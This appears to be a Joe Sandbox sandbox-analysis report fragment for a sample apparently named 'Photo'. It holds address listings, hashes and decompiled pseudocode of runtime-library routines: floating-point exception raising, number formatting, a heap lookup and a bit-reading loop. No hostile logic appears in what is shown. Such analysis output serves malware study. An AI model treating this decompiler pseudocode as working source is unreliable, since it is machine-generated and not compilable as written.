0x001e96d0
0x001e96d3
0x001e96d3
0x001e96d6
0x001e96d9
0x001e96dd
0x001e96e0
0x001e96e2
0x001e96e5
0x00000000
0x00000000
0x001e96e7
0x001e96e5
0x001e96c2
0x001e96c2
0x001e96c5
0x00000000
0x00000000
0x00000000
0x00000000
0x001e96c5
0x001e96ec
0x001e96ec
0x00000000
0x001e96ec
0x001e96e9
0x00000000
0x001e96e9
0x001e96a4
0x001e969f
0x001e96ef
0x001e96ef
0x001e96f1
0x001e96fb
0x001e96fb
0x001e96fe
0x001e9700
0x001e9702
0x001e9704
0x001e9709
0x001e970c
0x001e970c
0x001e970f
0x001e9712
0x001e9715
0x001e9717
0x001e972c
0x001e972e
0x001e9730
0x001e9732
0x001e9734
0x001e9736
0x001e9738
0x001e973a
0x001e973d
0x001e973d
0x001e9741
0x001e9743
0x001e9749
0x001e974c
0x001e974c
0x001e974c
0x001e9750
0x001e9750
0x001e9755
0x001e9758
0x001e9758
0x001e975d
0x001e975f
0x001e9761
0x001e9768
0x001e9768
0x001e976a
0x001e976f
0x001e9771
0x001e9774
0x001e9774
0x001e9777
0x001e9780
0x001e9780
0x001e9782
0x001e9782
0x001e9787
0x001e978d
0x001e9791
0x001e9794
0x001e9797
0x001e9799
0x001e9799
0x001e9799
0x001e979e
0x001e979e
0x001e97a1
0x001e97a4
0x001e9763
0x001e9763
0x001e9766
0x00000000
0x00000000
0x001e9766
0x001e9761
0x001e97ab
0x001e97ab
0x001e97ac
0x001e96f3
0x001e96f3
0x001e96f5
0x00000000
0x00000000
0x001e96f5
0x001e97bc
0x001e97c1
0x001e97c4
0x001e97c8
0x001e97c9
0x001e97cc
0x001e97cf
0x001e97d0
0x001e97d3
0x001e97d6
0x001e97d9
0x001e97dc
0x001e97dc
0x001e97e4
0x001e97eb
0x001e97ec
0x001e97ee
0x001e97f0
0x001e97f2
0x001e97f5
0x001e9800
0x001e9800
0x001e9806
0x001e9806
0x001e9809
0x001e980a
0x001e980a
0x001e9800
0x001e980e
0x001e9810
0x001e9812
0x001e9814
0x001e9814
0x001e9816
0x001e981a
0x00000000
0x00000000
0x001e981c
0x001e981c
0x001e981f
0x001e9821
0x00000000
0x00000000
0x00000000
0x001e9821
0x001e9814
0x001e9823
0x001e982d
0x00000000
0x00000000
0x00000000
0x001e9538
0x001e93c2
0x001e93c2
0x001e93c2
0x001e93c5
0x001e93c8
0x001e93cb
0x001e93fc
0x001e93fe
0x001e9449
0x001e944b
0x001e9452
0x001e9459
0x001e945c
0x001e945f
0x001e9465
0x001e9465
0x001e9466
0x001e9469
0x001e9470
0x001e9479
0x001e947e
0x001e9481
0x001e9486
0x001e9489
0x001e948b
0x001e9490
0x001e9493
0x001e9496
0x001e9496
0x001e9496
0x001e949a
0x001e949d
0x001e949d
0x001e94a2
0x001e94a2
0x001e94ad
0x001e94b8
0x001e94b8
0x001e94bb
0x001e94c7
0x001e94cc
0x001e94d7
0x001e94d9
0x001e94db
0x001e94e1
0x001e94e6
0x001e94e8
0x001e94ee
0x001e9400
0x001e940c
0x001e940c
0x001e940f
0x001e941f
0x001e9425
0x001e942c
0x001e942e
0x001e9436
0x001e9438
0x001e943a
0x001e943f
0x001e9442
0x001e9448
0x001e9448
0x001e93cd
0x001e93d0
0x001e93d4
0x001e93da
0x001e93e9
0x001e93f3
0x001e93fb
0x001e93fb
0x001e93cb
0x001e93a6
0x001e93a9
0x001e93af
0x001e93af
0x001e9395
0x001e939b
0x001e939b

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e011495c3596e492834285ea956986a09cd229b917aff41cab8317fda0c1221
Instruction ID: e2eecc1131398ec596fc1b6a0bfced8489980217733d020ce6f5b1f9d4208775
Opcode Fuzzy Hash: 2e011495c3596e492834285ea956986a09cd229b917aff41cab8317fda0c1221
Instruction Fuzzy Hash: E9021C71E006599FDF14CFAAD8906ADB7F1FF88314F25426AD819E7384D731AA41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 001EE9EF Relevance: 1.8, APIs: 1, Instructions: 269
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 100%

			E001EE9EF(long _a4, signed int* _a8, signed char _a12, signed int _a16, intOrPtr* _a20, unsigned int* _a24, intOrPtr _a28) {
				signed int _t172;
				signed int _t175;
				signed int _t178;
				signed int* _t179;
				signed int _t195;
				signed int _t199;
				signed int _t202;
				void* _t203;
				void* _t206;
				signed int _t209;
				void* _t210;
				signed int _t225;
				unsigned int* _t240;
				signed char _t242;
				signed int* _t250;
				unsigned int* _t256;
				signed int* _t257;
				signed char _t259;
				long _t262;
				signed int* _t265;

				 *(_a4 + 4) = 0;
				_t262 = 0xc000000d;
				 *(_a4 + 8) = 0;
				 *(_a4 + 0xc) = 0;
				_t242 = _a12;
				if((_t242 & 0x00000010) != 0) {
					_t262 = 0xc000008f;
					 *(_a4 + 4) =  *(_a4 + 4) | 1;
				}
				if((_t242 & 0x00000002) != 0) {
					_t262 = 0xc0000093;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000002;
				}
				if((_t242 & 0x00000001) != 0) {
					_t262 = 0xc0000091;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000004;
				}
				if((_t242 & 0x00000004) != 0) {
					_t262 = 0xc000008e;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000008;
				}
				if((_t242 & 0x00000008) != 0) {
					_t262 = 0xc0000090;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000010;
				}
				_t265 = _a8;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 << 4) ^  *(_a4 + 8)) & 0x00000010;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 +  *_t265) ^  *(_a4 + 8)) & 0x00000008;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 >> 1) ^  *(_a4 + 8)) & 0x00000004;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 >> 3) ^  *(_a4 + 8)) & 0x00000002;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 >> 5) ^  *(_a4 + 8)) & 1;
				_t259 = E001ECB2B(_a4);
				if((_t259 & 0x00000001) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000010;
				}
				if((_t259 & 0x00000004) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000008;
				}
				if((_t259 & 0x00000008) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000004;
				}
				if((_t259 & 0x00000010) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000002;
				}
				if((_t259 & 0x00000020) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 1;
				}
				_t172 =  *_t265 & 0x00000c00;
				if(_t172 == 0) {
					 *_a4 =  *_a4 & 0xfffffffc;
				} else {
					if(_t172 == 0x400) {
						_t257 = _a4;
						_t225 =  *_t257 & 0xfffffffd | 1;
						L26:
						 *_t257 = _t225;
						L29:
						_t175 =  *_t265 & 0x00000300;
						if(_t175 == 0) {
							_t250 = _a4;
							_t178 =  *_t250 & 0xffffffeb | 0x00000008;
							L35:
							 *_t250 = _t178;
							L36:
							_t179 = _a4;
							_t254 = (_a16 << 0x00000005 ^  *_t179) & 0x0001ffe0;
							 *_t179 =  *_t179 ^ (_a16 << 0x00000005 ^  *_t179) & 0x0001ffe0;
							 *(_a4 + 0x20) =  *(_a4 + 0x20) | 1;
							if(_a28 == 0) {
								 *(_a4 + 0x20) =  *(_a4 + 0x20) & 0xffffffe3 | 0x00000002;
								 *((long long*)(_a4 + 0x10)) =  *_a20;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) | 1;
								_t254 = _a4;
								_t240 = _a24;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) & 0xffffffe3 | 0x00000002;
								 *(_a4 + 0x50) =  *_t240;
							} else {
								 *(_a4 + 0x20) =  *(_a4 + 0x20) & 0xffffffe1;
								 *((intOrPtr*)(_a4 + 0x10)) =  *_a20;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) | 1;
								_t240 = _a24;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) & 0xffffffe1;
								 *(_a4 + 0x50) =  *_t240;
							}
							E001ECA91(_t254);
							RaiseException(_t262, 0, 1,  &_a4);
							_t256 = _a4;
							if((_t256[2] & 0x00000010) != 0) {
								 *_t265 =  *_t265 & 0xfffffffe;
							}
							if((_t256[2] & 0x00000008) != 0) {
								 *_t265 =  *_t265 & 0xfffffffb;
							}
							if((_t256[2] & 0x00000004) != 0) {
								 *_t265 =  *_t265 & 0xfffffff7;
							}
							if((_t256[2] & 0x00000002) != 0) {
								 *_t265 =  *_t265 & 0xffffffef;
							}
							if((_t256[2] & 0x00000001) != 0) {
								 *_t265 =  *_t265 & 0xffffffdf;
							}
							_t195 =  *_t256 & 0x00000003;
							if(_t195 == 0) {
								 *_t265 =  *_t265 & 0xfffff3ff;
							} else {
								_t206 = _t195 - 1;
								if(_t206 == 0) {
									_t209 =  *_t265 & 0xfffff7ff | 0x00000400;
									L55:
									 *_t265 = _t209;
									L58:
									_t199 =  *_t256 >> 0x00000002 & 0x00000007;
									if(_t199 == 0) {
										_t202 =  *_t265 & 0xfffff3ff | 0x00000300;
										L64:
										 *_t265 = _t202;
										L65:
										if(_a28 == 0) {
											 *_t240 = _t256[0x14];
										} else {
											 *_t240 = _t256[0x14];
										}
										return _t202;
									}
									_t203 = _t199 - 1;
									if(_t203 == 0) {
										_t202 =  *_t265 & 0xfffff3ff | 0x00000200;
										goto L64;
									}
									_t202 = _t203 - 1;
									if(_t202 == 0) {
										 *_t265 =  *_t265 & 0xfffff3ff;
									}
									goto L65;
								}
								_t210 = _t206 - 1;
								if(_t210 == 0) {
									_t209 =  *_t265 & 0xfffffbff | 0x00000800;
									goto L55;
								}
								if(_t210 == 1) {
									 *_t265 =  *_t265 | 0x00000c00;
								}
							}
							goto L58;
						}
						if(_t175 == 0x200) {
							_t250 = _a4;
							_t178 =  *_t250 & 0xffffffe7 | 0x00000004;
							goto L35;
						}
						if(_t175 == 0x300) {
							 *_a4 =  *_a4 & 0xffffffe3;
						}
						goto L36;
					}
					if(_t172 == 0x800) {
						_t257 = _a4;
						_t225 =  *_t257 & 0xfffffffe | 0x00000002;
						goto L26;
					}
					if(_t172 == 0xc00) {
						 *_a4 =  *_a4 | 0x00000003;
					}
				}
			}

0x001ee9fd
0x001eea04
0x001eea09
0x001eea0f
0x001eea12
0x001eea18
0x001eea1d
0x001eea22
0x001eea22
0x001eea28
0x001eea2d
0x001eea32
0x001eea32
0x001eea39
0x001eea3e
0x001eea43
0x001eea43
0x001eea4a
0x001eea4f
0x001eea54
0x001eea54
0x001eea5b
0x001eea60
0x001eea65
0x001eea65
0x001eea6d
0x001eea7d
0x001eea8f
0x001eeaa1
0x001eeab4
0x001eeac6
0x001eeace
0x001eead3
0x001eead8
0x001eead8
0x001eeadf
0x001eeae4
0x001eeae4
0x001eeaeb
0x001eeaf0
0x001eeaf0
0x001eeaf7
0x001eeafc
0x001eeafc
0x001eeb03
0x001eeb08
0x001eeb08
0x001eeb12
0x001eeb14
0x001eeb4e
0x001eeb16
0x001eeb1b
0x001eeb3f
0x001eeb47
0x001eeb3b
0x001eeb3b
0x001eeb51
0x001eeb58
0x001eeb5a
0x001eeb7c
0x001eeb84
0x001eeb87
0x001eeb87
0x001eeb89
0x001eeb89
0x001eeb94
0x001eeb9a
0x001eeb9f
0x001eeba6
0x001eebe0
0x001eebeb
0x001eebf1
0x001eebf4
0x001eebf7
0x001eec03
0x001eec0b
0x001eeba8
0x001eebab
0x001eebb7
0x001eebbd
0x001eebc3
0x001eebc6
0x001eebcf
0x001eebcf
0x001eec0e
0x001eec1c
0x001eec22
0x001eec29
0x001eec2b
0x001eec2b
0x001eec32
0x001eec34
0x001eec34
0x001eec3b
0x001eec3d
0x001eec3d
0x001eec44
0x001eec46
0x001eec46
0x001eec4d
0x001eec4f
0x001eec4f
0x001eec5c
0x001eec5f
0x001eec96
0x001eec61
0x001eec61
0x001eec64
0x001eec8f
0x001eec84
0x001eec84
0x001eec98
0x001eeca0
0x001eeca3
0x001eecc2
0x001eecc7
0x001eecc7
0x001eecc9
0x001eecce
0x001eecda
0x001eecd0
0x001eecd3
0x001eecd3
0x001eecdf
0x001eecdf
0x001eeca5
0x001eeca8
0x001eecb7
0x00000000
0x001eecb7
0x001eecaa
0x001eecad
0x001eecaf
0x001eecaf
0x00000000
0x001eecad
0x001eec66
0x001eec69
0x001eec7f
0x00000000
0x001eec7f
0x001eec6e
0x001eec70
0x001eec70
0x001eec6e
0x00000000
0x001eec5f
0x001eeb61
0x001eeb6f
0x001eeb77
0x00000000
0x001eeb77
0x001eeb65
0x001eeb6a
0x001eeb6a
0x00000000
0x001eeb65
0x001eeb22
0x001eeb30
0x001eeb38
0x00000000
0x001eeb38
0x001eeb26
0x001eeb2b
0x001eeb2b
0x001eeb26

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,001EE9EA,?,?,00000008,?,?,001EE68A,00000000), ref: 001EEC1C

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: f6ae492490943528e98d74dbf7bbce913a4483369e4fd466a6e0e126657fab26
Instruction ID: e55f4c31f57756591d4e7da67bac2651597574e78e71eca85e242b23c53522c4
Opcode Fuzzy Hash: f6ae492490943528e98d74dbf7bbce913a4483369e4fd466a6e0e126657fab26
Instruction Fuzzy Hash: D4B15F31610A49DFD719CF29C48AB697BE0FF45364F29865CE89ACF2A1C335E991CB40

Uniqueness

Uniqueness Score: -1.00%

Function 001DBA65 Relevance: 1.5, Strings: 1, Instructions: 214
COMMONCrypto

Download Yara Rule

C-Code - Quality: 88%

			E001DBA65(void* __ecx) {
				char _v6;
				char _v8;
				void* __ebx;
				void* __edi;
				char _t49;
				signed int _t50;
				void* _t51;
				signed char _t54;
				signed char _t56;
				signed int _t57;
				signed int _t58;
				signed char _t67;
				signed char _t69;
				signed char _t71;
				signed char _t80;
				signed char _t82;
				signed int _t84;
				signed int _t86;
				signed int _t87;
				signed char _t92;
				void* _t95;
				intOrPtr _t100;
				unsigned int _t102;
				signed char _t104;
				void* _t112;
				unsigned int _t113;
				void* _t114;
				signed int _t115;
				signed int* _t116;
				void* _t119;
				void* _t121;
				void* _t122;
				void* _t124;
				void* _t125;

				_push(__ecx);
				_t119 = __ecx;
				_t92 = 1;
				_t49 =  *((char*)(__ecx + 0x31));
				_t124 = _t49 - 0x64;
				if(_t124 > 0) {
					__eflags = _t49 - 0x70;
					if(__eflags > 0) {
						_t50 = _t49 - 0x73;
						__eflags = _t50;
						if(_t50 == 0) {
							L9:
							_t51 = E001DC653(_t119);
							L10:
							if(_t51 != 0) {
								__eflags =  *((char*)(_t119 + 0x30));
								if( *((char*)(_t119 + 0x30)) == 0) {
									_t113 =  *(_t119 + 0x20);
									_push(_t114);
									_v8 = 0;
									_t115 = 0;
									_v6 = 0;
									_t54 = _t113 >> 4;
									__eflags = _t92 & _t54;
									if((_t92 & _t54) == 0) {
										L46:
										_t100 =  *((intOrPtr*)(_t119 + 0x31));
										__eflags = _t100 - 0x78;
										if(_t100 == 0x78) {
											L48:
											_t56 = _t113 >> 5;
											__eflags = _t92 & _t56;
											if((_t92 & _t56) != 0) {
												L50:
												__eflags = _t100 - 0x61;
												if(_t100 == 0x61) {
													L53:
													_t57 = 1;
													L54:
													__eflags = _t92;
													if(_t92 != 0) {
														L56:
														 *((char*)(_t121 + _t115 - 4)) = 0x30;
														__eflags = _t100 - 0x58;
														if(_t100 == 0x58) {
															L59:
															_t58 = 1;
															L60:
															__eflags = _t58;
															 *((char*)(_t121 + _t115 - 3)) = ((_t58 & 0xffffff00 | _t58 == 0x00000000) - 0x00000001 & 0x000000e0) + 0x78;
															_t115 = _t115 + 2;
															__eflags = _t115;
															L61:
															_t95 =  *((intOrPtr*)(_t119 + 0x24)) -  *((intOrPtr*)(_t119 + 0x38)) - _t115;
															__eflags = _t113 & 0x0000000c;
															if((_t113 & 0x0000000c) == 0) {
																E001DAF2F(_t119 + 0x448, 0x20, _t95, _t119 + 0x18);
																_t122 = _t122 + 0x10;
															}
															E001DC94E(_t119 + 0x448,  &_v8, _t115, _t119 + 0x18,  *((intOrPtr*)(_t119 + 0xc)));
															_t102 =  *(_t119 + 0x20);
															_t116 = _t119 + 0x18;
															_t67 = _t102 >> 3;
															__eflags = _t67 & 0x00000001;
															if((_t67 & 0x00000001) != 0) {
																_t104 = _t102 >> 2;
																__eflags = _t104 & 0x00000001;
																if((_t104 & 0x00000001) == 0) {
																	E001DAF2F(_t119 + 0x448, 0x30, _t95, _t116);
																	_t122 = _t122 + 0x10;
																}
															}
															E001DC81C(_t119, 0);
															__eflags =  *_t116;
															if( *_t116 >= 0) {
																_t71 =  *(_t119 + 0x20) >> 2;
																__eflags = _t71 & 0x00000001;
																if((_t71 & 0x00000001) != 0) {
																	E001DAF2F(_t119 + 0x448, 0x20, _t95, _t116);
																}
															}
															_t69 = 1;
															L70:
															return _t69;
														}
														__eflags = _t100 - 0x41;
														if(_t100 == 0x41) {
															goto L59;
														}
														_t58 = 0;
														goto L60;
													}
													__eflags = _t57;
													if(_t57 == 0) {
														goto L61;
													}
													goto L56;
												}
												__eflags = _t100 - 0x41;
												if(_t100 == 0x41) {
													goto L53;
												}
												_t57 = 0;
												goto L54;
											}
											L49:
											_t92 = 0;
											__eflags = 0;
											goto L50;
										}
										__eflags = _t100 - 0x58;
										if(_t100 != 0x58) {
											goto L49;
										}
										goto L48;
									}
									_t80 = _t113 >> 6;
									__eflags = _t92 & _t80;
									if((_t92 & _t80) == 0) {
										__eflags = _t92 & _t113;
										if((_t92 & _t113) == 0) {
											_t82 = _t113 >> 1;
											__eflags = _t92 & _t82;
											if((_t92 & _t82) == 0) {
												goto L46;
											}
											_v8 = 0x20;
											L45:
											_t115 = _t92;
											goto L46;
										}
										_v8 = 0x2b;
										goto L45;
									}
									_v8 = 0x2d;
									goto L45;
								}
								_t69 = _t92;
								goto L70;
							}
							L11:
							_t69 = 0;
							goto L70;
						}
						_t84 = _t50;
						__eflags = _t84;
						if(__eflags == 0) {
							L28:
							_push(0);
							_push(0xa);
							L29:
							_t51 = E001DC45E(_t119, _t114, __eflags);
							goto L10;
						}
						__eflags = _t84 - 3;
						if(__eflags != 0) {
							goto L11;
						}
						_push(0);
						L13:
						_push(0x10);
						goto L29;
					}
					if(__eflags == 0) {
						_t51 = E001DC63B(__ecx);
						goto L10;
					}
					__eflags = _t49 - 0x67;
					if(_t49 <= 0x67) {
						L30:
						_t51 = E001DC06A(_t92, _t119, _t112);
						goto L10;
					}
					__eflags = _t49 - 0x69;
					if(_t49 == 0x69) {
						L27:
						_t2 = _t119 + 0x20;
						 *_t2 =  *(_t119 + 0x20) | 0x00000010;
						__eflags =  *_t2;
						goto L28;
					}
					__eflags = _t49 - 0x6e;
					if(_t49 == 0x6e) {
						_t51 = E001DC5A8(__ecx, _t112);
						goto L10;
					}
					__eflags = _t49 - 0x6f;
					if(_t49 != 0x6f) {
						goto L11;
					}
					_t51 = E001DC61C(__ecx);
					goto L10;
				}
				if(_t124 == 0) {
					goto L27;
				}
				_t125 = _t49 - 0x58;
				if(_t125 > 0) {
					_t86 = _t49 - 0x5a;
					__eflags = _t86;
					if(_t86 == 0) {
						_t51 = E001DBFA4(__ecx);
						goto L10;
					}
					_t87 = _t86 - 7;
					__eflags = _t87;
					if(_t87 == 0) {
						goto L30;
					}
					__eflags = _t87;
					if(__eflags != 0) {
						goto L11;
					}
					L17:
					_t51 = E001DC336(_t92, _t119, __eflags, 0);
					goto L10;
				}
				if(_t125 == 0) {
					_push(1);
					goto L13;
				}
				if(_t49 == 0x41) {
					goto L30;
				}
				if(_t49 == 0x43) {
					goto L17;
				}
				if(_t49 <= 0x44) {
					goto L11;
				}
				if(_t49 <= 0x47) {
					goto L30;
				}
				if(_t49 != 0x53) {
					goto L11;
				}
				goto L9;
			}

0x001dba6a
0x001dba6d
0x001dba71
0x001dba74
0x001dba78
0x001dba7b
0x001dbae9
0x001dbaec
0x001dbb3b
0x001dbb3b
0x001dbb3e
0x001dbaab
0x001dbaad
0x001dbab2
0x001dbab4
0x001dbb59
0x001dbb5d
0x001dbb66
0x001dbb6b
0x001dbb6c
0x001dbb70
0x001dbb72
0x001dbb77
0x001dbb7a
0x001dbb7c
0x001dbba5
0x001dbba5
0x001dbba8
0x001dbbab
0x001dbbb2
0x001dbbb4
0x001dbbb7
0x001dbbb9
0x001dbbbd
0x001dbbbd
0x001dbbc0
0x001dbbcb
0x001dbbcb
0x001dbbcd
0x001dbbcd
0x001dbbcf
0x001dbbd5
0x001dbbd5
0x001dbbda
0x001dbbdd
0x001dbbe8
0x001dbbe8
0x001dbbea
0x001dbbea
0x001dbbf5
0x001dbbf9
0x001dbbf9
0x001dbbfc
0x001dbc02
0x001dbc04
0x001dbc07
0x001dbc17
0x001dbc1c
0x001dbc1c
0x001dbc31
0x001dbc36
0x001dbc39
0x001dbc3e
0x001dbc41
0x001dbc43
0x001dbc45
0x001dbc48
0x001dbc4b
0x001dbc58
0x001dbc5d
0x001dbc5d
0x001dbc4b
0x001dbc64
0x001dbc69
0x001dbc6c
0x001dbc71
0x001dbc74
0x001dbc76
0x001dbc83
0x001dbc88
0x001dbc76
0x001dbc8b
0x001dbc8e
0x001dbc93
0x001dbc93
0x001dbbdf
0x001dbbe2
0x00000000
0x00000000
0x001dbbe4
0x00000000
0x001dbbe4
0x001dbbd1
0x001dbbd3
0x00000000
0x00000000
0x00000000
0x001dbbd3
0x001dbbc2
0x001dbbc5
0x00000000
0x00000000
0x001dbbc7
0x00000000
0x001dbbc7
0x001dbbbb
0x001dbbbb
0x001dbbbb
0x00000000
0x001dbbbb
0x001dbbad
0x001dbbb0
0x00000000
0x00000000
0x00000000
0x001dbbb0
0x001dbb80
0x001dbb83
0x001dbb85
0x001dbb8d
0x001dbb8f
0x001dbb99
0x001dbb9b
0x001dbb9d
0x00000000
0x00000000
0x001dbb9f
0x001dbba3
0x001dbba3
0x00000000
0x001dbba3
0x001dbb91
0x00000000
0x001dbb91
0x001dbb87
0x00000000
0x001dbb87
0x001dbb5f
0x00000000
0x001dbb5f
0x001dbaba
0x001dbaba
0x00000000
0x001dbaba
0x001dbb45
0x001dbb45
0x001dbb48
0x001dbb1a
0x001dbb1a
0x001dbb1b
0x001dbb1d
0x001dbb1f
0x00000000
0x001dbb1f
0x001dbb4a
0x001dbb4d
0x00000000
0x00000000
0x001dbb53
0x001dbac2
0x001dbac2
0x00000000
0x001dbac2
0x001dbaee
0x001dbb31
0x00000000
0x001dbb31
0x001dbaf0
0x001dbaf3
0x001dbb26
0x001dbb28
0x00000000
0x001dbb28
0x001dbaf5
0x001dbaf8
0x001dbb16
0x001dbb16
0x001dbb16
0x001dbb16
0x00000000
0x001dbb16
0x001dbafa
0x001dbafd
0x001dbb0f
0x00000000
0x001dbb0f
0x001dbaff
0x001dbb02
0x00000000
0x00000000
0x001dbb06
0x00000000
0x001dbb06
0x001dba7d
0x00000000
0x00000000
0x001dba83
0x001dba86
0x001dbac6
0x001dbac6
0x001dbac9
0x001dbae2
0x00000000
0x001dbae2
0x001dbacb
0x001dbacb
0x001dbace
0x00000000
0x00000000
0x001dbad1
0x001dbad4
0x00000000
0x00000000
0x001dbad6
0x001dbad9
0x00000000
0x001dbad9
0x001dba88
0x001dbac1
0x00000000
0x001dbac1
0x001dba8d
0x00000000
0x00000000
0x001dba96
0x00000000
0x00000000
0x001dba9b
0x00000000
0x00000000
0x001dbaa0
0x00000000
0x00000000
0x001dbaa9
0x00000000
0x00000000
0x00000000

Strings

0, xrefs: 001DBBD5

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: b9fa34869b2d82e3d8411e2c45cb22e435dbce3bfada8ed8319a2114c0e74f89
Instruction ID: 7366995237387a1817aab37e888d504e3d0c0b48f77ee00623f74d23ded4ba8a
Opcode Fuzzy Hash: b9fa34869b2d82e3d8411e2c45cb22e435dbce3bfada8ed8319a2114c0e74f89
Instruction Fuzzy Hash: 7E51596060C749DBDB388A6885D67BF27D9AF11340F1B090BE883CB396D715ED41C39A

Uniqueness

Uniqueness Score: -1.00%

Function 001E8661 Relevance: 1.3, APIs: 1, Instructions: 5
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E001E8661() {
				signed int _t3;

				_t3 = GetProcessHeap();
				 *0x20a56c = _t3;
				return _t3 & 0xffffff00 | _t3 != 0x00000000;
			}

0x001e8661
0x001e8669
0x001e8671

APIs

GetProcessHeap.KERNEL32 ref: 001E8661

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: d437c2654c8ed0152c67f713d3f9d94df6ca34e09135786fa0e0aa720541d344
Instruction ID: 99ca1dcddce29a278a156f75a0b7d7f1129bec1a3bf8efe46d692ec1e9322924
Opcode Fuzzy Hash: d437c2654c8ed0152c67f713d3f9d94df6ca34e09135786fa0e0aa720541d344
Instruction Fuzzy Hash: D1A001B0A093018B97518F3AAE0921A3AA9AA497D17858069A449C6562EA3484A1DF02

Uniqueness

Uniqueness Score: -1.00%

Function 001D58C8 Relevance: .8, Instructions: 837
COMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E001D58C8(signed char* __ebx, unsigned int __edx, signed int* __edi, signed int __esi) {
				signed int _t692;
				signed int _t722;
				signed int _t724;
				signed int _t730;
				signed int _t734;
				signed int _t735;
				signed int _t737;
				signed int _t742;
				signed int _t745;
				signed int _t863;
				signed char* _t864;
				signed int* _t866;
				signed char** _t892;
				signed char** _t899;
				signed int* _t906;
				signed int _t1011;
				unsigned int _t1013;
				signed int _t1014;
				signed int _t1015;
				intOrPtr _t1018;
				signed int _t1019;
				signed int* _t1061;
				signed int _t1062;
				signed char** _t1063;
				signed int _t1089;
				signed int _t1091;
				signed int _t1095;
				intOrPtr _t1097;
				signed int _t1098;
				void* _t1102;

				L0:
				while(1) {
					L0:
					_t1089 = __esi;
					_t1061 = __edi;
					_t1013 = __edx;
					_t864 = __ebx;
					if(__esi >= 0xe) {
						goto L174;
					}
					L170:
					while(1) {
						L171:
						if(__ebp == 0) {
							break;
						}
						L172:
						__eax =  *__ebx & 0x000000ff;
						__eax = ( *__ebx & 0x000000ff) << __cl;
						__ebx = __ebx + 1;
						__edx = __edx + __eax;
						 *(__esp + 0x14) = __ebx;
						__esi = __esi + 8;
						 *(__esp + 0x10) = __edx;
						__ebp = __ebp - 1;
						if(__esi < 0xe) {
							continue;
						} else {
							L173:
							goto L174;
						}
						L347:
					}
					L93:
					_t1062 =  *(_t1102 + 0x10);
					L94:
